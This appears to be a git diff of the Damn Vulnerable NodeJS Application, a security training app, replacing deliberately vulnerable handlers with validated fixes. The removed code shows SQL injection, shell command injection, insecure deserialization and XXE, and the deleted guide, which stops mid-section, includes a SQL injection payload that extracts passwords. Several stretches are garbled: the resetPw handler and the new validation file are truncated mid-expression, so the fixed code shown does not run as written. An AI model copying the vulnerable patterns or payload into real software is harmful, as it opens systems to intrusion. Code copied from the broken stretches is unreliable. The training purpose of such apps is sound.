diff --git a/.gitignore b/.gitignore index 0cfcfb4e0..3edcb15a2 100644 --- a/.gitignore +++ b/.gitignore @@ -3,4 +3,3 @@ docs/_book npm-debug.log vars.env package-lock.json -.dev/ \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index d90dacbf3..c902e19e8 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,13 +1,8 @@ -# Damn Vulnerable NodeJS Application - FROM node:carbon LABEL MAINTAINER "Subash SN" WORKDIR /app -COPY . . - -RUN chmod +x /app/entrypoint.sh \ - && npm install +RUN npm install -g nodemon -CMD ["bash", "/app/entrypoint.sh"] \ No newline at end of file +CMD npm install ; nodemon \ No newline at end of file diff --git a/Dockerfile-dev b/Dockerfile-dev deleted file mode 100644 index 5f9ed3953..000000000 --- a/Dockerfile-dev +++ /dev/null @@ -1,11 +0,0 @@ -# Damn Vulnerable NodeJS Application -# https://github.com/appsecco/dvna - -FROM node:carbon -LABEL MAINTAINER "Subash SN" - -WORKDIR /app - -RUN npm install -g nodemon - -CMD ["/bin/bash", "/app/entrypoint-dev.sh"] diff --git a/LICENSE b/LICENSE index 134bde9f4..5549cad91 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ The MIT License -Copyright (c) 2023 Appsecco Ltd. +Copyright (c) 2017 Appsecco Ltd. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/README.md b/README.md index 4f04de66b..82de735fa 100644 --- a/README.md +++ b/README.md @@ -1,150 +1,3 @@ # Damn Vulnerable NodeJS Application (DVNA) -![dvna-logo](docs/resources/dvna.png) - -Damn Vulnerable NodeJS Application (DVNA) is a simple NodeJS application to demonstrate [**OWASP Top 10 Vulnerabilities**](https://www.owasp.org/index.php/Top_10-2017_Top_10) and guide on fixing and avoiding these vulnerabilities. The [fixes](https://github.com/appsecco/dvna/tree/fixes) branch will contain fixes for the vulnerabilities. Fixes for vulnerabilities OWASssP Top 10 2017 vulnerabilities at [fixes-2017](https://github.com/appsecco/dvna/tree/fixes-2017) branch. - -The application is powered by commonly used libraries such as [express](https://www.npmjs.com/package/express), [passport](https://www.npmjs.com/package/passport), [sequelize](https://www.npmjs.com/package/sequelize), etc. - -## Developer Security Guide book - -The application comes with a **developer friendly comprehensive guidebook** which can be used to learn, avoid and fix the vulnerabilities. The guide is available at [docs](/docs) and covers the following - -1. Instructions for setting up DVNA -2. Instructions on exploiting the vulnerabilities -3. Vulnerable code snippets and instructions on fixing vulnerabilities -4. Recommendations for avoid such vulnerabilities -5. References for learning more - -The blog post for this release is at [https://blog.appsecco.com/damn-vulnerable-nodejs-application-dvna-by-appsecco-7d782d36dc1e](https://blog.appsecco.com/damn-vulnerable-nodejs-application-dvna-by-appsecco-7d782d36dc1e) - -You can setup a local gitbook server to access the documentation using the following commands. The documentation will then be accessible on [http://localhost:4000](http://localhost:4000). - -```bash -cd docs/ -docker run --rm -v `pwd`:/gitbook -p 4000:4000 --name gitbook amontaigu/gitbook gitbook serve -``` - -## Quick start - -Try DVNA using a single command with Docker. This setup uses an SQLite database instead of MySQL. - -```bash -docker run --name dvna -p 9090:9090 -d appsecco/dvna:sqlite -``` - -Access the application at [http://127.0.0.1:9090/](http://127.0.0.1:9090/) - -## Getting Started - -DVNA can be deployed in three ways - -1. For Developers, using docker-compose with auto-reload on code updates -2. For Security Testers, using the Official image from Docker Hub -3. For Advanced Users, using a fully manual setup - -Detailed instructions on setup and requirements are given in the Guide Gitbook - -### 1. Development Setup - -Clone this repository - -```bash -git clone https://github.com/appsecco/dvna; cd dvna -``` - -Create a `vars.env` with the desired database configuration - -```bash -MYSQL_USER=dvna -MYSQL_DATABASE=dvna -MYSQL_PASSWORD=passw0rd -MYSQL_RANDOM_ROOT_PASSWORD=yes -``` - -Start the application and database using `docker-compose` - -```bash -docker-compose up -``` - -Access the application at [http://127.0.0.1:9090/](http://127.0.0.1:9090/) - -The application will automatically reload on code changes, so feel free to patch and play around with the application. - -### Using Official Docker Image - -Create a file named `vars.env` with the following configuration - -```bash -MYSQL_USER=dvna -MYSQL_DATABASE=dvna -MYSQL_PASSWORD=passw0rd -MYSQL_RANDOM_ROOT_PASSWORD=yes -MYSQL_HOST=mysql-db -MYSQL_PORT=3306 -``` - -Start a MySQL container - -```bash -docker run --rm --name dvna-mysql --env-file vars.env -d mysql:5.7 -``` - -Start the application using the official image - -```bash -docker run --rm --name dvna-app --env-file vars.env --link dvna-mysql:mysql-db -p 9090:9090 appsecco/dvna -``` - -Access the application at http://127.0.0.1:9090/ and start testing! - -### Manual Setup - -Clone the repository - -```bash -git clone https://github.com/appsecco/dvna; cd dvna -``` - -Configure the environment variables with your database information - -```bash -export MYSQL_USER=dvna -export MYSQL_DATABASE=dvna -export MYSQL_PASSWORD=passw0rd -export MYSQL_HOST=127.0.0.1 -export MYSQL_PORT=3306 -``` - -Install Dependencies - -```bash -npm install -``` - -Start the application - -```bash -npm start -``` - -Access the application at [http://localhost:9090](http://localhost:9090) - -## TODO - -- [ ] Link commits to fixes in documentation -- [x] Add new vulnerabilities from OWASP Top 10 2017 -- [x] Improve application features, documentation - -## Contributing - -In case of bugs in the application, please create an issue on github. Pull requests are highly welcome! - -## Thanks - -[Abhisek Datta - abhisek](https://github.com/abhisek) for application architecture and front-end code - -## License - -MIT +This branch is for all the fixes in the application \ No newline at end of file diff --git a/config/server.js b/config/server.js index f9b0f019b..14434c8f5 100644 --- a/config/server.js +++ b/config/server.js @@ -1,4 +1,7 @@ +var cryptoRandomString = require('crypto-random-string') + module.exports = { listen: process.env.APP_LISTEN || '0.0.0.0', - port: process.env.APP_PORT || process.env.PORT || 9090 + port: process.env.APP_PORT || 9090, + sessionSecret: process.env.SESSION_SECRET || cryptoRandomString(30) } \ No newline at end of file diff --git a/config/vulns.js b/config/vulns.js index 0832611a8..97a1dc142 100644 --- a/config/vulns.js +++ b/config/vulns.js @@ -1,14 +1,12 @@ module.exports = { 'a1_injection': 'A1: Injection', - 'a2_broken_auth': 'A2: Broken Authentication', - 'a3_sensitive_data': 'A3: Sensitive Data Exposure', - 'a4_xxe': 'A4: XML External Entities', - 'a5_broken_access_control': 'A5: Broken Access Control', - 'a6_sec_misconf': 'A6: Security Misconfiguration', - 'a7_xss': 'A7: Cross-site Scripting', - 'a8_ides': 'A8: Insecure Deserialization', - 'a9_vuln_component': 'A9: Using Components with Known Vulnerabilities', - 'a10_logging': 'A10: Insufficient Logging and Monitoring', - 'ax_csrf': 'A8:2013 Cross-site Request Forgery', - 'ax_redirect': 'A10:2013 Unvalidated Redirects and Forwards' + 'a2_broken_auth': 'A2: Broken Authentication and Session Management', + 'a3_xss': 'A3: Cross-site Scripting', + 'a4_idor': 'A4: Insecure Direct Object Reference', + 'a5_sec_misconf': 'A5: Security Misconfiguration', + 'a6_sensitive_data': 'A6: Sensitive Data Exposure', + 'a7_missing_access_control': 'A7: Missing Function Level Access Control', + 'a8_csrf': 'A8: Cross-site Request Forgery', + 'a9_vuln_component': 'A9: Using Components with Known Vulnerability', + 'a10_redirect': 'A10: Unvalidated Redirects and Forwards' } \ No newline at end of file diff --git a/core/appHandler.js b/core/appHandler.js index 95e2befdd..81320fb15 100644 --- a/core/appHandler.js +++ b/core/appHandler.js @@ -1,47 +1,56 @@ var db = require('../models') +var vh = require('./validationHandler') var bCrypt = require('bcrypt') -const exec = require('child_process').exec; +const execFile = require('child_process').execFile var mathjs = require('mathjs') -var libxmljs = require("libxmljs"); -var serialize = require("node-serialize") const Op = db.Sequelize.Op module.exports.userSearch = function (req, res) { - var query = "SELECT name,id FROM Users WHERE login='" + req.body.login + "'"; - db.sequelize.query(query, { - model: db.User - }).then(user => { - if (user.length) { - var output = { - user: { - name: user[0].name, - id: user[0].id + if (vh.vCode(req.body.login)){ + db.User.find({where:{'login':req.body.login}}).then(user => { + if (user) { + var output = { + user: { + name: user.name, + id: user.id + } } + res.render('app/usersearch', { + output: output + }) + } else { + req.flash('warning', 'User not found') + res.render('app/usersearch', { + output: null + }) } - res.render('app/usersearch', { - output: output - }) - } else { - req.flash('warning', 'User not found') + }).catch(err => { + req.flash('danger', 'Internal Error') res.render('app/usersearch', { output: null }) - } - }).catch(err => { - req.flash('danger', 'Internal Error') + }) + }else{ + req.flash('danger', 'Input Validation Failed') res.render('app/usersearch', { output: null - }) - }) + }) + } } module.exports.ping = function (req, res) { - exec('ping -c 2 ' + req.body.address, function (err, stdout, stderr) { + if (vh.vIP(req.body.address)){ + execFile('ping', ['-c', '2', req.body.address] , function(err,stdout,stderr){ output = stdout + stderr + res.render('app/ping', { + output: output + }) + }) + }else{ res.render('app/ping', { - output: output - }) - }) + output: 'Input Validation Failed' + }) + } } module.exports.listProducts = function (req, res) { @@ -56,21 +65,28 @@ module.exports.listProducts = function (req, res) { } module.exports.productSearch = function (req, res) { - db.Product.findAll({ - where: { - name: { - [Op.like]: '%' + req.body.name + '%' + if(vh.vName(req.body.name)){ + db.Product.findAll({ + where: { + name: { + [Op.like]: '%' + req.body.name + '%' + } } - } - }).then(products => { - output = { - products: products, - searchTerm: req.body.name - } + }).then(products => { + output = { + products: products, + searchTerm: req.body.name + } + res.render('app/products', { + output: output + }) + }) + }else{ + req.flash('danger', 'Invalid Product name') res.render('app/products', { - output: output - }) - }) + output: null + }) + } } module.exports.modifyProduct = function (req, res) { @@ -79,29 +95,38 @@ module.exports.modifyProduct = function (req, res) { product: {} } res.render('app/modifyproduct', { - output: output + output: output, + csrfToken: req.csrfToken() }) } else { - db.Product.find({ - where: { - 'id': req.query.id - } - }).then(product => { - if (!product) { - product = {} - } - output = { - product: product - } - res.render('app/modifyproduct', { - output: output + if(vh.vPID(req.query.id)){ + db.Product.find({ + where: { + 'id': req.query.id + } + }).then(product => { + if (!product) { + product = {} + } + output = { + product: product + } + res.render('app/modifyproduct', { + output: output, + csrfToken: req.csrfToken() + }) }) - }) + }else{ + req.flash('danger', 'Input Product ID') + res.render('app/products', { + output: null + }) + } } } module.exports.modifyProductSubmit = function (req, res) { - if (!req.body.id || req.body.id == '') { + if (!vh.vPID(req.body.id)) { req.body.id = 0 } db.Product.find({ @@ -109,27 +134,45 @@ module.exports.modifyProductSubmit = function (req, res) { 'id': req.body.id } }).then(product => { - if (!product) { - product = new db.Product() - } - product.code = req.body.code - product.name = req.body.name - product.description = req.body.description - product.tags = req.body.tags - product.save().then(p => { - if (p) { - req.flash('success', 'Product added/modified!') - res.redirect('/app/products') - } - }).catch(err => { - output = { - product: product + if(vh.vName(req.body.name)&&vh.vCode(req.body.code)&&vh.vString(req.body.description)&&vh.vTags(req.body.tags)){ + if (!product) { + product = new db.Product() + } + product.code = req.body.code + product.name = req.body.name + product.description = req.body.description + product.tags = req.body.tags + product.save().then(p => { + if (p) { + req.flash('success', 'Product added/modified!') + res.redirect('/app/products') + } + }).catch(err => { + output = { + product: product + } + req.flash('danger',err) + res.render('app/modifyproduct', { + output: output, + csrfToken: req.csrfToken() + }) + }) + }else{ + req.flash('danger', 'Input Validation Failed') + var output= { + product: { + id: req.body.id, + name: req.body.name, + code: req.body.code, + description: req.body.description, + tags: req.body.tags + } } - req.flash('danger',err) res.render('app/modifyproduct', { - output: output - }) - }) + output: output, + csrfToken: req.csrfToken() + }) + } }) } @@ -137,66 +180,94 @@ module.exports.userEdit = function (req, res) { res.render('app/useredit', { userId: req.user.id, userEmail: req.user.email, - userName: req.user.name + userName: req.user.name, + csrfToken: req.csrfToken() }) } module.exports.userEditSubmit = function (req, res) { - db.User.find({ - where: { - 'id': req.body.id - } - }).then(user =>{ + if(vh.vEmail(req.body.email)&&vh.vName(req.body.name)){ if(req.body.password.length>0){ - if(req.body.password.length>0){ + if(vh.vPassword(req.body.password)){ if (req.body.password == req.body.cpassword) { - user.password = bCrypt.hashSync(req.body.password, bCrypt.genSaltSync(10), null) + req.user.password = bCrypt.hashSync(req.body.password, bCrypt.genSaltSync(10), null) }else{ req.flash('warning', 'Passwords dont match') res.render('app/useredit', { userId: req.user.id, userEmail: req.user.email, userName: req.user.name, + csrfToken: req.csrfToken() }) return } }else{ - req.flash('warning', 'Invalid Password') + req.flash('warning', 'Invalid Password. Minimum length of a password is 8') res.render('app/useredit', { - userId: req.user.id, - userEmail: req.user.email, - userName: req.user.name, + userId: req.body.id, + userEmail: req.body.email, + userName: req.body.name, + csrfToken: req.csrfToken() }) return } } - user.email = req.body.email - user.name = req.body.name - user.save().then(function () { + req.user.email = req.body.email + req.user.name = req.body.name + req.user.save().then(function () { req.flash('success',"Updated successfully") res.render('app/useredit', { - userId: req.body.id, - userEmail: req.body.email, - userName: req.body.name, + userId: req.user.id, + userEmail: req.user.email, + userName: req.user.name, + csrfToken: req.csrfToken() }) }) - }) + }else{ + req.flash('danger', 'Invalid Profile information') + res.render('app/useredit', { + userId: req.body.id, + userEmail: req.body.email, + userName: req.body.name, + csrfToken: req.csrfToken() + }) + } } module.exports.redirect = function (req, res) { - if (req.query.url) { - res.redirect(req.query.url) + if (vh.vUrl(req.query.url)) { + res.render('app/redirect',{url:req.query.url, csrfToken:req.csrfToken()}) } else { res.send('invalid redirect url') } } -module.exports.calc = function (req, res) { - if (req.body.eqn) { - res.render('app/calc', { - output: mathjs.eval(req.body.eqn) - }) +module.exports.redirectSubmit = function (req, res) { + if (vh.vUrl(req.body.url)) { + res.redirect(req.body.url) } else { + res.send('invalid redirect url') + } +} + +module.exports.calc = function (req, res) { + if(vh.vEqn(req.body.eqn)){ + try{ + if (req.body.eqn) { + res.render('app/calc', { + output: mathjs.eval(req.body.eqn) + }) + } else { + res.render('app/calc', { + output: 'Enter a valid math string like (3+3)*2' + }) + } + }catch(err){ + res.render('app/calc', { + output: 'Enter a valid math string like (3+3)*2' + }) + } + }else{ res.render('app/calc', { output: 'Enter a valid math string like (3+3)*2' }) @@ -204,45 +275,10 @@ module.exports.calc = function (req, res) { } module.exports.listUsersAPI = function (req, res) { - db.User.findAll({}).then(users => { + db.User.findAll({attributes: [ 'id' ,'name', 'email']}).then(users => { res.status(200).json({ success: true, users: users }) }) } - -module.exports.bulkProductsLegacy = function (req,res){ - // TODO: Deprecate this soon - if(req.files.products){ - var products = serialize.unserialize(req.files.products.data.toString('utf8')) - products.forEach( function (product) { - var newProduct = new db.Product() - newProduct.name = product.name - newProduct.code = product.code - newProduct.tags = product.tags - newProduct.description = product.description - newProduct.save() - }) - res.redirect('/app/products') - }else{ - res.render('app/bulkproducts',{messages:{danger:'Invalid file'},legacy:true}) - } -} - -module.exports.bulkProducts = function(req, res) { - if (req.files.products && req.files.products.mimetype=='text/xml'){ - var products = libxmljs.parseXmlString(req.files.products.data.toString('utf8'), {noent:true,noblanks:true}) - products.root().childNodes().forEach( product => { - var newProduct = new db.Product() - newProduct.name = product.childNodes()[0].text() - newProduct.code = product.childNodes()[1].text() - newProduct.tags = product.childNodes()[2].text() - newProduct.description = product.childNodes()[3].text() - newProduct.save() - }) - res.redirect('/app/products') - }else{ - res.render('app/bulkproducts',{messages:{danger:'Invalid file'},legacy:false}) - } -} diff --git a/core/authHandler.js b/core/authHandler.js index f0e67ab5a..2e0b0c855 100644 --- a/core/authHandler.js +++ b/core/authHandler.js @@ -1,6 +1,25 @@ var db = require('../models') var bCrypt = require('bcrypt') var md5 = require('md5') +var vh = require('./validationHandler') +var cryptoRandomString = require('crypto-random-string') +var s512 = require('hash.js/lib/hash/sha/512') +var coolDownTime = 5*60*1000 // 5 mins + +function sha512 (val) { + return s512().update(val).digest('hex') +} + +var createHash = function (password) { + return bCrypt.hashSync(password, bCrypt.genSaltSync(10), null); +} + +module.exports.isAdmin = function (req, res, next){ + if(req.user.role=='admin') + next() + else + res.status(401).send('Unauthorized') +} module.exports.isAuthenticated = function (req, res, next) { if (req.isAuthenticated()) { @@ -17,57 +36,78 @@ module.exports.isNotAuthenticated = function (req, res, next) { } module.exports.forgotPw = function (req, res) { - if (req.body.login) { + if (vh.vCode(req.body.login)) { db.User.find({ where: { 'login': req.body.login } }).then(user => { if (user) { - // Send reset link via email happens here - req.flash('info', 'Check email for reset link') - res.redirect('/login') + db.Passreset.findAll({limit:1,where:{'userId':user.id},order:[['createdAt','DESC']]}).then(passreset => { + passreset = passreset[0] + if(!passreset || passreset.used==true || (Date.now() - passreset.requestedAt)>coolDownTime){ + pr = new db.Passreset() + var token = cryptoRandomString(30) + pr.userId = user.id + pr.used = false + pr.requestedAt = Date.now() + pr.tokenHash = sha512(token) + pr.save() + // SEND_EMAIL (token) at this step + req.flash('info', 'If account exists, you will get an email on the registered email') + res.redirect('/login') + }else{ + // Cooldown time to prevent DoS + req.flash('info', 'If account exists, you will get an email on the registered email') + res.redirect('/login') + } + }) } else { - req.flash('danger', "Invalid login username") - res.redirect('/forgotpw') + req.flash('info', 'If account exists, you will get an email on the registered email') + res.redirect('/login') } }) } else { - req.flash('danger', "Invalid login username") + req.flash('danger', "Error, Username contains special charecters") res.redirect('/forgotpw') } } module.exports.resetPw = function (req, res) { - if (req.query.login) { + if (vh.vCode(req.query.login)&&vh.vCode(req.query.token)) { db.User.find({ where: { 'login': req.query.login } }).then(user => { if (user) { - if (req.query.token == md5(req.query.login)) { - res.render('resetpw', { - login: req.query.login, - token: req.query.token - }) - } else { - req.flash('danger', "Invalid reset token") - res.redirect('/forgotpw') - } + db.Passreset.find({where:{'tokenHash': sha512(req.query.token)}}).then(resetpass => { + if(resetpass&&((Date.now() - resetpass.requestedAt) { if (user) { - if (req.body.token == md5(req.body.login)) { - user.password = bCrypt.hashSync(req.body.password, bCrypt.genSaltSync(10), null) - user.save().then(function () { - req.flash('success', "Passowrd successfully reset") + db.Passreset.find({where:{'tokenHash': sha512(req.body.token)}}).then(resetpass => { + if(resetpass&&((Date.now() - resetpass.requestedAt)=8 + }, + vIP: function (val){ + if(val) + return validator.isIP(val + '',4) + }, + vPID: function (val){ + if(val) + return validator.isInt(val + '',{gt:0}) + }, + vString: function (val){ + if(val) + return validator.isAlphanumeric(val + '') + }, + vEqn: function (val){ + if (val) + return validator.isWhitelisted(val + '', '1234567890<>+-./()%*^') + }, + vCode: function (val){ + if(val) + return validator.isWhitelisted(val + '', 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-') + }, + vTags: function (val){ + if(val) + return validator.isWhitelisted(val + '', 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-,') + }, + vUrl: function (val){ + if(val) + return validator.isURL(val + '') + }, + vVuln: function (val){ + if(val) + return validator.isWhitelisted(val + '', 'qwertyuiopasdfghjklzxcvbnm1234567890_-') + } +} \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml index f6fc1f42e..9829a8766 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -3,9 +3,7 @@ version: "2.1" services: app: - build: - context: ./ - dockerfile: Dockerfile-dev + build: ./ ports: - 9090:9090 volumes: @@ -14,6 +12,7 @@ services: - mysql-db env_file: - ./vars.env + entrypoint: bash wait-for-it.sh mysql-db:3306 -t 300 -- bash startup.sh mysql-db: image: mysql:5.7 diff --git a/docs/README.md b/docs/README.md deleted file mode 100644 index 02ca55ee4..000000000 --- a/docs/README.md +++ /dev/null @@ -1 +0,0 @@ -![dvna](resources/cover.png) \ No newline at end of file diff --git a/docs/SUMMARY.md b/docs/SUMMARY.md deleted file mode 100644 index 654d1e8a0..000000000 --- a/docs/SUMMARY.md +++ /dev/null @@ -1,29 +0,0 @@ -# Summary - -* [Cover](README.md) - -## Introduction - -* [Introduction](intro.md) -* [Setup](setup.md) - -## Solution - -* [A1 Injection](solution/a1-injection.md) -* [A2 Broken Authentication](solution/a2-broken-auth.md) -* [A3 Sensitive Data Exposure](solution/a3-sensitive-data-exposure.md) -* [A4 XML External Entities](solution/a4-xxe.md) -* [A5 Broken Access Control](solution/a5-broken-access-control.md) -* [A6 Security Misconfiguration](solution/a6-securty-misconfig.md) -* [A7 Cross-site Scripting](solution/a7-xss.md) -* [A8 Insecure Deserialization](solution/a8-insecure-deserialization.md) -* [A9 Using Components with Known Vulnerability](solution/a9-using-components-with-known-vulnerability.md) -* [A10 Insufficient Logging and Monitoring](solution/a10-insufficient-logging.md) - -## Top 10 2013 -* [A8:2013 Cross-site Request Forgery](solution/ax-csrf.md) -* [A10:2013 Unvalidated Redirects and Forwards](solution/ax-unvalidated-redirects-and-forwards.md) - -## About - -* [Appsecco](appsecco.md) diff --git a/docs/appsecco.md b/docs/appsecco.md deleted file mode 100644 index 691fcfe73..000000000 --- a/docs/appsecco.md +++ /dev/null @@ -1,23 +0,0 @@ -# About Appsecco - -![appsecco-slide](resources/appsecco.png) - -Appsecco is a specialist application security company, founded in 2015, with physical presence in London, Bangalore, Doha and Boston, providing industry leading security advice that is firmly grounded in commercial reality. - -Our services cover the entire software development lifecycle from advising on how build and foster a culture of security within development teams and organisations to reviewing and advising on the security of applications and associated infrastructure under development to providing rapid response and advice in the event of a security breach or incident. - -As a team, we are highly qualified and have many years of extensive experience working with clients across multiple counties and in a wide range of industries and sectors; from financial services to software development, manufacturing to governmental organisations and consumer brands to ecommerce. - -The solutions, advice and insight we deliver to our clients always follows three core principles: - -1. It must be pragmatic; taking into account the specific commercial, organisational and operational realities of each client individually - -2. It must genuinely add value; the advice or solutions we provide must addresses the specific problem a client seeks to solve and have actionable insight to enable them to achieve this - -3. Never be purely automated; whenever we are testing for security our reports and output always have significant, expert, human input to give the greatest possible value for our clients - -In addition to their client-facing work our technical team are actively involved in researching and developing new and better ways to stay secure and can regularly be found presenting their findings at industry conferences and events ranging from nullcon in India, DevSecCon in London and Singapore, to DEF CON, the world’s largest security conference held annually in the USA. - -Appsecco - -[https://appsecco.com](https://appsecco.com) \ No newline at end of file diff --git a/docs/intro.md b/docs/intro.md deleted file mode 100644 index 8ff1f7b43..000000000 --- a/docs/intro.md +++ /dev/null @@ -1,21 +0,0 @@ -# Damn Vulnerable NodeJS Application - -![dvna-logo](resources/dvna.png) - -[Damn Vulneable NodeJS Application (DVNA)](https://github.com/appsecco/dvna) is a simple NodeJS application to demonstrate [**OWASP Top 10 Vulnerabilities**](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#OWASP_Top_10_for_2013) and guide on fixing and avoiding these vulnerabilities. - -The application is powered by commonly used libraries such as [express](https://www.npmjs.com/package/express), [passport](https://www.npmjs.com/package/passport), [sequelize](https://www.npmjs.com/package/sequelize), etc. - -It is aimed to be useful for developers with limited development expereience in NodeJS, and the fixes for the vulnerabilities will be available in the [fixes](https://github.com/appsecco/dvna/tree/fixes) branch in the repository. - -This guide contains the following - -1. Instructions for setting up DVNA -2. Instructions on exploiting the vulnerabilities -3. Vulnerable code snippets and instructions on fixing vulnerabilities -4. Recommendations for avoid such vulnerabilities -5. References for learning more - -#### Available on Github [https://github.com/appsecco/dvna](https://github.com/appsecco/dvna) - -This gitbook was generated from https://github.com/appsecco/dvna/tree/master/docs \ No newline at end of file diff --git a/docs/resources/appsecco.png b/docs/resources/appsecco.png deleted file mode 100644 index d0add214d..000000000 Binary files a/docs/resources/appsecco.png and /dev/null differ diff --git a/docs/resources/ci1.png b/docs/resources/ci1.png deleted file mode 100644 index 246c732bd..000000000 Binary files a/docs/resources/ci1.png and /dev/null differ diff --git a/docs/resources/cover.png b/docs/resources/cover.png deleted file mode 100644 index c692090ee..000000000 Binary files a/docs/resources/cover.png and /dev/null differ diff --git a/docs/resources/dvna.png b/docs/resources/dvna.png deleted file mode 100644 index bc5bed9cd..000000000 Binary files a/docs/resources/dvna.png and /dev/null differ diff --git a/docs/resources/idor1.png b/docs/resources/idor1.png deleted file mode 100644 index 823fe88c5..000000000 Binary files a/docs/resources/idor1.png and /dev/null differ diff --git a/docs/resources/info-dis.png b/docs/resources/info-dis.png deleted file mode 100644 index e7a247d75..000000000 Binary files a/docs/resources/info-dis.png and /dev/null differ diff --git a/docs/resources/info-dis2.png b/docs/resources/info-dis2.png deleted file mode 100644 index eb749b1bf..000000000 Binary files a/docs/resources/info-dis2.png and /dev/null differ diff --git a/docs/resources/jse1.png b/docs/resources/jse1.png deleted file mode 100644 index 59fcb1764..000000000 Binary files a/docs/resources/jse1.png and /dev/null differ diff --git a/docs/resources/jse2.png b/docs/resources/jse2.png deleted file mode 100644 index 6a7ac2692..000000000 Binary files a/docs/resources/jse2.png and /dev/null differ diff --git a/docs/resources/missing-fn-access.png b/docs/resources/missing-fn-access.png deleted file mode 100644 index 9da3199fe..000000000 Binary files a/docs/resources/missing-fn-access.png and /dev/null differ diff --git a/docs/resources/powered-by.png b/docs/resources/powered-by.png deleted file mode 100644 index f14e51e27..000000000 Binary files a/docs/resources/powered-by.png and /dev/null differ diff --git a/docs/resources/rce.png b/docs/resources/rce.png deleted file mode 100644 index fc9263774..000000000 Binary files a/docs/resources/rce.png and /dev/null differ diff --git a/docs/resources/secmis1.png b/docs/resources/secmis1.png deleted file mode 100644 index 777da8e7c..000000000 Binary files a/docs/resources/secmis1.png and /dev/null differ diff --git a/docs/resources/sqli1.png b/docs/resources/sqli1.png deleted file mode 100644 index 56cfe5611..000000000 Binary files a/docs/resources/sqli1.png and /dev/null differ diff --git a/docs/resources/sqli2.png b/docs/resources/sqli2.png deleted file mode 100644 index 65acf117b..000000000 Binary files a/docs/resources/sqli2.png and /dev/null differ diff --git a/docs/resources/xss1.png b/docs/resources/xss1.png deleted file mode 100644 index 988ef518f..000000000 Binary files a/docs/resources/xss1.png and /dev/null differ diff --git a/docs/resources/xxe1.png b/docs/resources/xxe1.png deleted file mode 100644 index 82d9994ad..000000000 Binary files a/docs/resources/xxe1.png and /dev/null differ diff --git a/docs/resources/xxe2.png b/docs/resources/xxe2.png deleted file mode 100644 index 44800e2ed..000000000 Binary files a/docs/resources/xxe2.png and /dev/null differ diff --git a/docs/setup.md b/docs/setup.md deleted file mode 100644 index 935eddebf..000000000 --- a/docs/setup.md +++ /dev/null @@ -1,117 +0,0 @@ -# Setup - -DVNA can be deployed in three ways - -1. For Developers, using docker-compose with auto-reload on code updates -2. For Security Testers, using the Official image from Docker Hub -3. For Advanced Users, using a fully manual setup - -## Requirements - -Setup with Docker: - -- Docker (Tested working on v1.13.1) -- Docker Compose (Tested working on v1.17.1) - -Setup Without Docker: - -- NodeJS (Developed using NodeJS v6.11.4) -- MySQL Server (Developed using MySQL 5.7) - -### Quick start - -On a system with Docker installed, run - -```bash -docker run --name dvna -p 9090:9090 -d appsecco/dvna:sqlite -``` - -Access the application at http://127.0.0.1:9090 - -### Development Setup - -If you do not have Docker and Docker Compose setup, then - -Install [Docker](https://docs.docker.com/engine/installation/) first and then -[Docker Compose](https://docs.docker.com/compose/install/) on your system. Then follow the instructions below - -Clone the repository -```bash -git clone https://github.com/appsecco/dvna; cd dvna -``` - -Create a file with name `vars.env` in the application's folder with the desired configuration like the example below -``` -MYSQL_USER=dvna -MYSQL_DATABASE=dvna -MYSQL_PASSWORD=passw0rd -MYSQL_RANDOM_ROOT_PASSWORD=yes -``` - -Start the application using Docker Compose -```bash -docker-compose up -``` - -Access the application at http://localhost:9090 and start practicing! - -The application will automatically reload on code changes, so feel free to patch and play around. - -### Using Official Docker Image - -Create a file named `vars.env` with the following configuration -``` -MYSQL_USER=dvna -MYSQL_DATABASE=dvna -MYSQL_PASSWORD=passw0rd -MYSQL_RANDOM_ROOT_PASSWORD=yes -MYSQL_HOST=mysql-db -MYSQL_PORT=3306 -``` - -Start a MySQL container, unless you want to use your own, in which case configure in the env file above -```bash -docker run --name dvna-mysql --env-file vars.env -d mysql:5.7 -``` - -Start the application using the official image -```bash -docker run --name dvna-app --env-file vars.env --link dvna-mysql:mysql-db -p 9090:9090 appsecco/dvna -``` - -Access the application at http://127.0.0.1:9090/ and start testing! - -### Manual Setup - -This is an advanced setup which requires you to have NodeJS setup on your system and access to a MySQL Database. Unless your requirements demands it, its recommended to go with the Dockerized Setup above. - -If you do not have NodeJS on your system, then -Install [NodeJS](https://nodejs.org/en/download/package-manager/) first. - -If you do not have access to an existing MySQL server and would like to setup your own MySQL instance, then refer to this [Getting Started](https://dev.mysql.com/doc/mysql-getting-started/en/) guide. Once the MySQL Sever is setup, create a new database and user for DVNA. You will need to configure these in the environment variables before starting the application. - -Clone the repository -```bash -git clone https://github.com/appsecco/dvna; cd dvna -``` - -Configure the environment variables with your database information. For Windows system, refer to the guide on [Setting up environment variables](http://www.dowdandassociates.com/blog/content/howto-set-an-environment-variable-in-windows-command-line-and-registry/) -```bash -export MYSQL_USER=dvna -export MYSQL_DATABASE=dvna -export MYSQL_PASSWORD=passw0rd -export MYSQL_HOST=127.0.0.1 -export MYSQL_PORT=3306 -``` - -Install Dependencies -```bash -npm install -``` - -Start the application -```bash -npm start -``` - -Access the application at http://localhost:9090 and start practicing! \ No newline at end of file diff --git a/docs/solution/a1-injection.md b/docs/solution/a1-injection.md deleted file mode 100644 index eddded5f9..000000000 --- a/docs/solution/a1-injection.md +++ /dev/null @@ -1,107 +0,0 @@ -# Injection - -## SQL Injection - -There is a SQL Injection in `User Search` feature at the following URL - -http://127.0.0.1:9090/app/usersearch - -By injecting a single quote `'`, we see an error has occurred. -![sqli1](/resources/sqli1.png "SQLi Trigger") - -An attacker can exploit this further and obtain potentially sensitive information from the database by supplying the input `' UNION SELECT password,1 from Users where login='user' -- //` -![sqli2](/resources/sqli2.png "Exploiting SQLi") - -**Vulnerable Code snippet** - -*core/appHandler.js* -``` -... -var query = "SELECT name FROM Users WHERE login='" + req.body.login + "'"; -db.sequelize.query(query,{ model: db.User }).then(user => { - if(user.length){ -... -``` -**Solution** - -You may use model's **find** function and rely on in-built input sanitization of sequelize - -*core/appHandler.js* -``` -... -if (vh.vCode(req.body.login)){ - 